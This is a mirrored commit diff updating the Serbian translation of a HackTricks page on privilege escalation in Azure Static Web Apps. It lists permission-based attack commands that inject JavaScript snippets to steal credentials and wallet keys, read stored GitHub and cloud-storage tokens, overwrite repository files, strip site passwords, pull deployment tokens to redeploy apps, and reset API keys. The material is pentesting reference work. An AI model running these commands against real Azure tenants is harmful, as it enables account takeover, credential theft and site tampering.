mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
+29
-27
@@ -12,9 +12,9 @@ Za više informacija o ovom servisu pogledajte:
|
||||
|
||||
### Microsoft.Web/staticSites/snippets/write
|
||||
|
||||
Moguće je naterati statičku web stranicu da učita proizvoljni HTML kod kreiranjem snippet-a. Ovo bi moglo omogućiti attackeru da injectuje JS kod unutar web app-a i ukrade osetljive informacije kao što su credentials ili mnemonic keys (u web3 wallets).
|
||||
Moguće je naterati statičku web stranicu da učita proizvoljni HTML kod kreiranjem snippet-a. Ovo može omogućiti attacker-u da inject-uje JS kod unutar web app i steal-uje osetljive informacije kao što su credentials ili mnemonic keys (u web3 wallets).
|
||||
|
||||
Sledeća komanda kreira snippet koji će uvek biti učitan od strane web app-a::
|
||||
Sledeća komanda kreira snippet koji će uvek biti učitan od strane web app::
|
||||
```bash
|
||||
az rest \
|
||||
--method PUT \
|
||||
@@ -31,22 +31,22 @@ az rest \
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Čitanje konfigurisanih akreditiva trećih strana
|
||||
### Pročitaj konfigurisane kredencijale trećih strana
|
||||
|
||||
Kao što je objašnjeno u delu App Service:
|
||||
Kao što je objašnjeno u sekciji App Service:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Pokretanjem sledeće komande moguće je **pročitati akreditive trećih strana** konfigurisanе na trenutnom nalogu. Imajte na umu da, na primer, ako su neke Github akreditive konfigurisanе pod drugim korisnikom, nećete moći da pristupite tokenu iz drugog naloga.
|
||||
Pokretanjem sledeće komande moguće je **pročitati kredencijale trećih strana** konfigurisane u tekućem nalogu. Imajte na umu da, na primer, ako su neki Github kredencijali konfigurisani pod drugim korisnikom, nećete moći da pristupite tokenu iz drugog naloga.
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
```
|
||||
Ova komanda vraća tokene za Github, Bitbucket, Dropbox i OneDrive.
|
||||
|
||||
Evo nekoliko primera komandi za proveru tokena:
|
||||
Ovde su neki primeri komandi za proveru tokena:
|
||||
```bash
|
||||
# GitHub – List Repositories
|
||||
curl -H "Authorization: token <token>" \
|
||||
@@ -69,12 +69,14 @@ curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children
|
||||
```
|
||||
### Prepisivanje fajla - Prepisivanje ruta, HTML-a, JS-a...
|
||||
### Prepisivanje fajla - prepisivanje ruta, HTML, JS...
|
||||
|
||||
Moguće je **prepisati fajl unutar Github repozitorijuma** koji sadrži aplikaciju putem Azure-a koji poseduje **Github token**, slanjem zahteva kao u nastavku koji će navesti putanju fajla koji treba prepisati, sadržaj fajla i poruku commita.
|
||||
Moguće je **prepisati fajl unutar Github repozitorijuma** koji sadrži aplikaciju pomoću Azure-a koji poseduje **Github token**, slanjem zahteva kao u sledećem koji će navesti putanju fajla koji treba prepisati, sadržaj fajla i commit poruku.
|
||||
|
||||
Ovo mogu iskoristiti napadači da u suštini **promene sadržaj web aplikacije** kako bi servirali zlonamerni sadržaj (ukrali pristupne podatke, mnemoničke ključeve...) ili jednostavno da **preusmere određene putanje** na sopstvene servere prepisivanjem `staticwebapp.config.json` fajla.
|
||||
|
||||
> [!WARNING]
|
||||
> Imajte na umu da ako napadač na bilo koji način uspe da kompromituje Github repozitorijum, može i direktno prepisati fajl iz Github-a.
|
||||
> Imajte na umu da, ako napadač uspe da na bilo koji način kompromituje Github repozitorijum, on takođe može prepisati fajl direktno iz Github-a.
|
||||
```bash
|
||||
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
|
||||
-H "Content-Type: application/json" \
|
||||
@@ -97,7 +99,7 @@ curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
|
||||
```
|
||||
### Microsoft.Web/staticSites/config/write
|
||||
|
||||
Sa ovom dozvolom moguće je **izmeniti lozinku** koja štiti static web app ili čak ukloniti zaštitu sa svih okruženja slanjem zahteva kao što je sledeći:
|
||||
Sa ovom dozvolom moguće je **promeniti lozinku** koja štiti static web app ili čak ukloniti zaštitu sa svih okruženja slanjem zahteva kao u nastavku:
|
||||
```bash
|
||||
# Change password
|
||||
az rest --method put \
|
||||
@@ -131,9 +133,9 @@ az rest --method put \
|
||||
```
|
||||
### Microsoft.Web/staticSites/listSecrets/action
|
||||
|
||||
Ova dozvola omogućava dobijanje **API key deployment token** za static app.
|
||||
Ova dozvola omogućava pribavljanje **API key deployment token** za static app.
|
||||
|
||||
Korišćenjem az rest:
|
||||
Korišćenje az rest:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
|
||||
@@ -142,27 +144,27 @@ Korišćenje AzCLI:
|
||||
```bash
|
||||
az staticwebapp secrets list --name <appname> --resource-group <RG>
|
||||
```
|
||||
Zatim, da biste **ažurirali aplikaciju koristeći token**, možete pokrenuti sledeću komandu. Napomena: ova komanda je izvučena proverom **kako Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) radi**, pošto je to podrazumevani način koji Azure koristi. Dakle, image i parametri se mogu promeniti u budućnosti.
|
||||
Zatim, da biste **ažurirali aplikaciju koristeći token** možete pokrenuti sledeću komandu. Imajte na umu da je ova komanda izvučena proverom **kako Github Action https://github.com/Azure/static-web-apps-deploy radi**, pošto je to ona koju Azure podrazumevano koristi. Dakle, image i parametri se mogu promeniti u budućnosti.
|
||||
|
||||
> [!TIP]
|
||||
> Za deploy aplikacije možete koristiti alat **`swa`** sa [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) ili pratiti sledeće osnovne korake:
|
||||
> Za deploy aplikacije možete koristiti alat **`swa`** sa https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token ili pratiti sledeće osnovne korake:
|
||||
|
||||
1. Preuzmite repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (ili bilo koji drugi repo koji želite da deploy-ujete) i pokrenite `cd react-basic`.
|
||||
2. Izmenite kod koji želite da deploy-ujete
|
||||
3. Deploy-ujte ga pokretanjem komande (Zapamtite da zamenite `<api-token>`):
|
||||
1. Preuzmite repo https://github.com/staticwebdev/react-basic (ili bilo koji drugi repo koji želite da postavite) i izvršite `cd react-basic`.
|
||||
2. Izmenite kod koji želite da postavite
|
||||
3. Postavite ga pokretanjem (Zapamtite da promenite `<api-token>`):
|
||||
```bash
|
||||
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
|
||||
```
|
||||
> [!WARNING]
|
||||
> Čak i ako imate token, nećete moći da deploy-ujete aplikaciju ako je **Deployment Authorization Policy** podešena na **Github**. Za korišćenje tokena biće vam potrebna dozvola `Microsoft.Web/staticSites/write` da promenite metod deploy-a kako biste koristili th APi token.
|
||||
> Čak i ako imate token, nećete moći da deploy-ujete aplikaciju ako je **Deployment Authorization Policy** postavljena na **Github**. Da biste koristili token biće vam potrebna dozvola `Microsoft.Web/staticSites/write` da promenite metod deploy-a i koristite API token.
|
||||
|
||||
### Microsoft.Web/staticSites/write
|
||||
|
||||
Sa ovom dozvolom moguće je **promeniti izvor static web app na drugi Github repository**, međutim on neće biti automatski provision-ovan jer to mora da se uradi iz Github Action.
|
||||
Sa ovom dozvolom moguće je da **promenite izvor static web app na drugi Github repository**, međutim neće biti automatski provisionovan jer to mora da se uradi iz Github Action.
|
||||
|
||||
Međutim, ako je **Deployment Authotization Policy** podešena na **Github**, moguće je **ažurirati aplikaciju iz novog source repository-ja!**.
|
||||
Međutim, ako je **Deployment Authorization Policy** postavljena na **Github**, moguće je **ažurirati aplikaciju iz novog izvornog repozitorijuma!**.
|
||||
|
||||
U slučaju da **Deployment Authorization Policy** nije podešena na Github, možete je promeniti istom dozvolom `Microsoft.Web/staticSites/write`.
|
||||
U slučaju da **Deployment Authorization Policy** nije postavljena na Github, možete je promeniti istom dozvolom `Microsoft.Web/staticSites/write`.
|
||||
```bash
|
||||
# Change the source to a different Github repository
|
||||
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
|
||||
@@ -248,16 +250,16 @@ action: "close"
|
||||
```
|
||||
### Microsoft.Web/staticSites/resetapikey/action
|
||||
|
||||
Sa ovom dozvolom moguće je **reset the API key of the static web app**, potencijalno DoSing workflows koji automatski deploy-uju aplikaciju.
|
||||
Sa ovom dozvolom moguće je **reset the API key of the static web app** i potencijalno DoSing workflows koji automatski deploy-uju aplikaciju.
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
|
||||
```
|
||||
### Microsoft.Web/staticSites/createUserInvitation/action
|
||||
|
||||
Ovo dopuštenje omogućava **kreiranje pozivnice za korisnika** za pristup zaštićenim putanjama unutar static web app-a sa određenom ulogom.
|
||||
Ovo dopuštenje omogućava **kreiranje pozivnice za korisnika** da pristupi zaštićenim putanjama unutar static web app-a sa određenom dodeljenom ulogom.
|
||||
|
||||
Prijava se nalazi na putanji kao što je `/.auth/login/github` za github ili `/.auth/login/aad` za Entra ID, i korisnik može biti pozvan sledećom komandom:
|
||||
Login se nalazi na putanji kao što je `/.auth/login/github` za github ili `/.auth/login/aad` za Entra ID i korisnik može biti pozvan sledećom komandom:
|
||||
```bash
|
||||
az staticwebapp users invite \
|
||||
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
|
||||
@@ -270,12 +272,12 @@ az staticwebapp users invite \
|
||||
```
|
||||
### Pull Requests
|
||||
|
||||
Podrazumevano, Pull Requests sa branch-a u istom repo-u se automatski kompajliraju i build-uju u staging okruženju. Ovo može biti zloupotrebljeno od strane napadača koji ima write pristup repo-u, ali ne može da zaobiđe branch protections production branch-a (obično `main`) da **deploy-uje malicioznu verziju aplikacije** na staging URL.
|
||||
By default Pull Requests from a branch in the same repo will be automatically compiled and build in a staging environment. Ovo može biti zloupotrebljeno od strane napadača koji ima write pristup repozitorijumu, ali ne može da zaobiđe branch protections produkcijske grane (obično `main`) da **deploy-uje zlonamernu verziju aplikacije** na staging URL.
|
||||
|
||||
Staging URL ima oblik: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` na primer: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
|
||||
The staging URL has this format: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` like: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
|
||||
|
||||
> [!TIP]
|
||||
> Imajte na umu da podrazumevano external PRs neće pokretati Workflows osim ako prethodno nisu merge-ovali bar 1 PR u repository. Napadač bi mogao poslati validan PR u repo i **zatim poslati maliciozni PR** da deploy-uje malicioznu aplikaciju u staging okruženje. MEĐUTIM, postoji neočekivana zaštita: default Github Action za deploy u static web app zahteva pristup secret-u koji sadrži deployment token (npr. `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) čak i ako je deployment urađen sa IDToken-om. To znači da, pošto external PRs neće imati pristup tom secret-u i external PR ne može promeniti Workflow da ubaci proizvoljan token bez prihvatanja PR-a, **ovaj napad zapravo neće raditi**.
|
||||
> Imajte na umu da po defaultu external PRs neće pokretati workflows osim ako prethodno nisu merged bar 1 PR u repozitorijum. Napadač bi mogao poslati validan PR u repo i **zatim poslati zlonamerni PR** u repo da deploy-uje zlonamernu aplikaciju u staging okruženju. MEĐUTIM, postoji neočekivana zaštita: default Github Action za deploy u static web app zahteva pristup secret-u koji sadrži deployment token (npr. `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) čak i ako se deployment obavlja pomoću IDToken-a. To znači da pošto external PR neće imati pristup tom secret-u i external PR ne može promeniti Workflow da ovde ubaci proizvoljan token bez prihvatanja PR-a, **ovaj napad zapravo neće uspeti**.
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user